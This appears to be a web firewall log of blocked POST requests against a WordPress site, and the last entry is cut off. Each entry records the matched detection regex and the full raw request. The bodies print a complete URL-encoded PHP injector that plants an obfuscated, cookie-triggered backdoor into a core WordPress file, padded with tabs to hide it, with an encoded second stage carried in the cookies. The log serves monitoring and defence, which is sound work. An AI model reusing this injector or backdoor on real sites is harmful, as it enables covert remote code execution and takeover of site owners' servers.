["2026-05-12 17:42:06","190.0.230.22","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/accordion-item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-64%252B64%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92-91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-25%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6-2%255D%2529%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520function%2520core_engine%2528%2524comp%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520%2524reference%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527779e8169%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524reference%2529%2529%2520%257B%2520%2524reference%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522system_core%2522%253B%2520%257D%2520%2524holder%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pset%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524reference%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520fopen%2528%2524reference%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pointer%252C%2520%2524holder%2529%253B%2520fclose%2528%2524pointer%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524reference%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524reference%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522core_engine%2522%2529%253B%2520%2524data%2520%253D%2520%2522118430284303c1351716ee3122759435%2522%253B%2520if%2520%2528%2521strncmp%2528%2524data%252C%2520%2524pset%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_event_dispatcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-length:4331\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\n\nJI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/accordion-item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-64%252B64%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92-91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-25%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6-2%255D%2529%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520function%2520core_engine%2528%2524comp%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520%2524reference%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527779e8169%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524reference%2529%2529%2520%257B%2520%2524reference%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522system_core%2522%253B%2520%257D%2520%2524holder%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pset%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524reference%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520fopen%2528%2524reference%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pointer%252C%2520%2524holder%2529%253B%2520fclose%2528%2524pointer%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524reference%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524reference%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522core_engine%2522%2529%253B%2520%2524data%2520%253D%2520%2522118430284303c1351716ee3122759435%2522%253B%2520if%2520%2528%2521strncmp%2528%2524data%252C%2520%2524pset%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_event_dispatcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:43:41","67.205.18.1","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Yn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/accordion-item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-64%252B64%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92-91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-25%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6-2%255D%2529%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520function%2520core_engine%2528%2524comp%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520%2524reference%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527779e8169%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524reference%2529%2529%2520%257B%2520%2524reference%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522system_core%2522%253B%2520%257D%2520%2524holder%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pset%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524reference%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520fopen%2528%2524reference%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pointer%252C%2520%2524holder%2529%253B%2520fclose%2528%2524pointer%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524reference%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524reference%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522core_engine%2522%2529%253B%2520%2524data%2520%253D%2520%2522118430284303c1351716ee3122759435%2522%253B%2520if%2520%2528%2521strncmp%2528%2524data%252C%2520%2524pset%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_event_dispatcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJJ4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-length:4331\naccept-encoding:gzip,deflate\n\nYn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/accordion-item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-64%252B64%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92-91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-25%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6-2%255D%2529%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520function%2520core_engine%2528%2524comp%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520%2524reference%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527779e8169%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524reference%2529%2529%2520%257B%2520%2524reference%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522system_core%2522%253B%2520%257D%2520%2524holder%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pset%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524reference%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520fopen%2528%2524reference%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pointer%252C%2520%2524holder%2529%253B%2520fclose%2528%2524pointer%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524reference%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524reference%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522core_engine%2522%2529%253B%2520%2524data%2520%253D%2520%2522118430284303c1351716ee3122759435%2522%253B%2520if%2520%2528%2521strncmp%2528%2524data%252C%2520%2524pset%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_event_dispatcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:43:55","188.138.39.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/accordion-item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-64%252B64%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92-91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-25%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6-2%255D%2529%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520function%2520core_engine%2528%2524comp%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520%2524reference%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527779e8169%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524reference%2529%2529%2520%257B%2520%2524reference%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522system_core%2522%253B%2520%257D%2520%2524holder%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pset%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524reference%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520fopen%2528%2524reference%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pointer%252C%2520%2524holder%2529%253B%2520fclose%2528%2524pointer%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524reference%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524reference%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522core_engine%2522%2529%253B%2520%2524data%2520%253D%2520%2522118430284303c1351716ee3122759435%2522%253B%2520if%2520%2528%2521strncmp%2528%2524data%252C%2520%2524pset%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_event_dispatcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqILvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:4331\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\n\nuV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/accordion-item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-64%252B64%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92-91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-25%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6-2%255D%2529%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520function%2520core_engine%2528%2524comp%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520%2524reference%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527779e8169%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524reference%2529%2529%2520%257B%2520%2524reference%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522system_core%2522%253B%2520%257D%2520%2524holder%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pset%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524reference%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520fopen%2528%2524reference%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pointer%252C%2520%2524holder%2529%253B%2520fclose%2528%2524pointer%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524reference%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524reference%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522core_engine%2522%2529%253B%2520%2524data%2520%253D%2520%2522118430284303c1351716ee3122759435%2522%253B%2520if%2520%2528%2521strncmp%2528%2524data%252C%2520%2524pset%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_event_dispatcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:44:23","179.27.99.226","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ew:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/accordion-item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-64%252B64%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92-91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-25%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6-2%255D%2529%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520function%2520core_engine%2528%2524comp%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520%2524reference%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527779e8169%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524reference%2529%2529%2520%257B%2520%2524reference%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_